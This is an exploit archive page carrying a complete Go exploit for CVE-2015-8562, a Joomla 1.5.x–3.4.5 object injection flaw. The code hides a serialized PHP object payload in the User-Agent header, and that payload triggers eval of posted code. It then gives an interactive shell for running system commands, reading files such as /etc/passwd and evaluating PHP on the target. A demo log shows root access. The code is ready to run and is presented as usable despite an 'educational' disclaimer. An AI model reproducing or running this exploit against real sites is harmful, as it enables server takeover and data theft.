Exploit the possiblities

Joomla 3.4.5 Object Injection

Joomla 3.4.5 Object Injection
Posted Dec 31, 2015
Authored by Khashayar Fereidani

Joomla versions 1.5.x through 3.4.5 object injection exploit that allows for code execution and more. Written in golang.

tags | exploit, code execution
advisories | CVE-2015-8562
MD5 | 3af9152f62884f6e44c7856c8220535b

Joomla 3.4.5 Object Injection

Change Mirror Download
package main

/*
**************************************************************************
* Exploit Title: Joomla 1.5.x to 3.4.5 Object Injection Exploit
* Exploit Author: Khashayar Fereidani ( http://fereidani.com )
* Version: 1.5.x to 3.4.5
* CVE : CVE-2015-8562
**************************************************************************
* THIS EXPLOIT PUBLISHED ONLY FOR EDUCATIONAL PROPOSES ANY ILLEGAL USAGE
* IS ON YOUR OWN RESPONSIBILITY
**************************************************************************
* How to run : (you need golang compiler from golang.org)
* go run exploit.go http://target/path
* or
* go build exploit.go
* ./exploit http://target/path
**************************************************************************
* DEMO :

$ ./exploit 192.168.1.113/joomla
###############################################
# Joomla Remote Command Execution 0day Exploit
# Exploited by: Khashayar Fereidani
# http://fereidani.com
# Vulnerable Versions: 1.5.x to 3.4.5
###############################################

Attacking to http://FILTERED.TLD/joomla/
Target is vulnerable !
# Command Line Documentation :
read FILEPATH read file from FILEPATH
dir DIRPATH list directory in DIRPATH
exec COMMAND execute system command
eval phpcode evaluate PHP Code
help display this help
exit close exploit console

[*] Examples:
read /etc/passwd
dir /etc/
exec ls -lah
eval include('/etc/passwd')


root@joomla:$ exec uname -a
Linux vm2.local 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
root@joomla:$

*/

import (
"fmt"
"net/http"
"regexp"
"os"
"io/ioutil"
"bytes"
"net/http/cookiejar"
"net/url"
"bufio"
"strings"
)


var target string;


var helpString=`# Command Line Documentation :
read FILEPATH read file from FILEPATH
dir DIRPATH list directory in DIRPATH
exec COMMAND execute system command
eval phpcode evaluate PHP Code
help display this help
exit close exploit console

[*] Examples:
read /etc/passwd
dir /etc/
exec ls -lah
eval include('/etc/passwd')

`

var validHttpUrl=regexp.MustCompile("^http[s]{0,1}://")

var resultRegex=regexp.MustCompile("(?sm)iMH3r3=(.*)")

var cmdRegex=regexp.MustCompile("(\\w+)\\s(.+)")

var newLine=regexp.MustCompile("[\\n\\r]")

var client *http.Client

func newRequest(command string) *http.Request{
values:=url.Values{}
values.Set("1","echo('iMH3r3=');"+command+";")

req,err:=http.NewRequest("POST",target,bytes.NewBufferString(values.Encode()))

if err!=nil{
panic(err)
}

req.Header.Set("User-Agent",`123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:43:"eval($_POST[1]);JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}`+"\xf0\xfd\xfd\xfd")
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
return req
}


func escape(str string) string{
return strings.Replace(str,"'","\\'",-1)
}


func runCommand(command string){
res,err:=client.Do(newRequest(command))

if err!=nil{
fmt.Println(err.Error())
}else{
defer res.Body.Close()
resBytes,err:=ioutil.ReadAll(res.Body)
str:=string(resBytes)

if err!=nil{
fmt.Println(err)
}
match:=resultRegex.FindStringSubmatch(str)
if len(match)>0{
fmt.Print(match[0][7:])
}
}

}


func confirm() bool{
res,err:=client.Do(newRequest(""))

if err!=nil{
fmt.Println(err)
return false
}else{
if res.StatusCode==500{
fmt.Println("Patched PHP Version :( !")
return false
}
defer res.Body.Close()
resBytes,err:=ioutil.ReadAll(res.Body)
str:=string(resBytes)

if err!=nil{
fmt.Println(err)
}
match:=resultRegex.FindStringSubmatch(str)
if len(match)>0{
return true
}else{
return false
}
}
}

func main(){
fmt.Print(`###############################################
# Joomla Remote Command Execution 0day Exploit
# Exploited by: Khashayar Fereidani
# http://fereidani.com
# Vulnerable Versions: 1.5.0 to 3.4.5
###############################################
`)
options := cookiejar.Options{}

jar, err := cookiejar.New(&options)
if err != nil {
panic(err)
}

client = &http.Client{
Jar:jar,
}



if len(os.Args)<2{
fmt.Println("Insufficient input , please run ./exploit http://targeturl/path/")
return
}

target=os.Args[1]
if(!validHttpUrl.MatchString(target)){
target="http://"+target
}

if string(target[len(target)-1])!="/"{
target+="/"
}

fmt.Println("Attacking to ",target)


res,err:=client.Do(newRequest(""))
if err!=nil{
fmt.Println("Request Error:",err)
return
}
ioutil.ReadAll(res.Body)
res.Body.Close()

if confirm(){
fmt.Println("Target is vulnerable !")
//runCommand("system('ls -la')")
stdinreader := bufio.NewReader(os.Stdin)

fmt.Println(helpString)
for {
var line string
fmt.Print("root@joomla:$ ")
line,_=stdinreader.ReadString('\n')
line=newLine.ReplaceAllString(line,"")
match:=cmdRegex.FindStringSubmatch(line)
if len(match)<3 {
if (line=="exit"){
return
}

if !(line=="help"){
fmt.Println("Wrong input !")
}

fmt.Println(helpString)
}else{
cmd:=match[1]
input:=escape(match[2])
switch cmd {
case "exec":
runCommand("system('"+input+"')")
case "read":
runCommand("readfile('"+input+"')")
case "dir":
runCommand("$a=scandir('"+input+"');foreach($a as $v){echo $v.\"\\n\";}")
case "eval":
runCommand(match[2])
}
}
}
}else{
fmt.Println("Target is not vulnerable!")
}


}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    0 Files
  • 17
    Jan 17th
    0 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close